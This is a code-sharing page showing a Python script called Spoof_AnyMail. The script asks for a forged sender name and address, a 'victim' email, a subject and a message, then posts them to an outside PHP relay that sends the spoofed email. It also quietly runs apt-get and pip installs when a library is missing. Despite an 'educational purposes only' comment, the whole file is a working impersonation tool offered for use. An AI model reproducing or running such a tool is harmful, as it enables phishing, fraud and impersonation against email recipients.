Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
hackerxphantom
GitHub Repository: hackerxphantom/Spoof_AnyMail
Path: blob/Master/spoof_anymail.py
11 views
1
import os
2
import sys
3
import time
4
from os import system
5
from time import sleep
6
7
#This script is developed ls Hacker X Phantom.
8
#This is created for educational purposes only.
9
10
try:
11
import requests
12
except ImportError:
13
os.system('apt-get install python3')
14
os.system('pip3 install requests')
15
16
try:
17
request = requests.get("https://www.google.com/search?q=freemailsender.com", timeout=3)
18
except (requests.ConnectionError, requests.Timeout) as exception:
19
print("[!] Oops, It looks like you have no Internet [!]")
20
sys.exit()
21
22
import requests
23
24
R = '\033[1;31m'
25
G = '\033[1;32m'
26
Y = '\033[1;33m'
27
C = '\033[1;36m'
28
W = '\033[1;37m'
29
30
def hprint(s):
31
for c in s + '\n':
32
sys.stdout.write(c)
33
sys.stdout.flush()
34
time.sleep(8.0 / 100)
35
36
logo = """
37
38
\033[1;35m
39
_____ ____ ___ __ ___ _ __
40
/ ___/____ ____ ____ / __/ / | ____ __ __/ |/ /___ _(_) /
41
\__ \/ __ \/ __ \/ __ \/ /_ / /| | / __ \/ / / / /|_/ / __ `/ / /
42
___/ / /_/ / /_/ / /_/ / __/ / ___ |/ / / / /_/ / / / / /_/ / / /
43
/____/ .___/\____/\____/_/ /_/ |_/_/ /_/\__, /_/ /_/\__,_/_/_/
44
/_/ /____/
45
46
47
\033[1;31m
48
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
49
\033[1;32m [\033[1;33m+\033[1;32m]\033[1;36m DEVELOPED By \033[1;31m(\033[1;33mHacker XPhantom\033[1;31m)~~~~~~~|
50
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
51
\033[1;32m [\033[1;33m+\033[1;32m]\033[1;36m Join Us \033[1;31m(\033[1;33mhttps://bit.ly/3PV3S3r\033[1;31m)~~~~~|
52
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
53
"""
54
system("clear")
55
print (logo)
56
hprint(G + ' Starting Spoof AnyMail for Sending Emails ...')
57
sleep(2)
58
print ("")
59
name = input(C + " Enter Sender's Name" + Y + " --> " + G)
60
print ("")
61
sender = input(C + " Enter Sender's Email" + Y + " --> " + G)
62
print("")
63
receiver = input(C + " Enter Victim Email" + Y + " --> " + G)
64
print ("")
65
subject = input(C + " Enter Subject" + Y + " --> " + G)
66
print ("")
67
body = input(C + " Enter the Message" + Y + " --> " + G)
68
print("")
69
70
files = {
71
'name': (None, name),
72
'subject': (None, subject),
73
'email': (None, receiver),
74
'from': (None, sender),
75
'message': (None, body),
76
'submit': (None, "submit"),
77
}
78
response = requests.post('https://polarnightfraternity.com/spoofy/spoofy.php', files=files)
79
hprint(C + ' Sending email to ' + receiver + ' ...')
80
print("")
81
print(G + " " + response.text)
82
83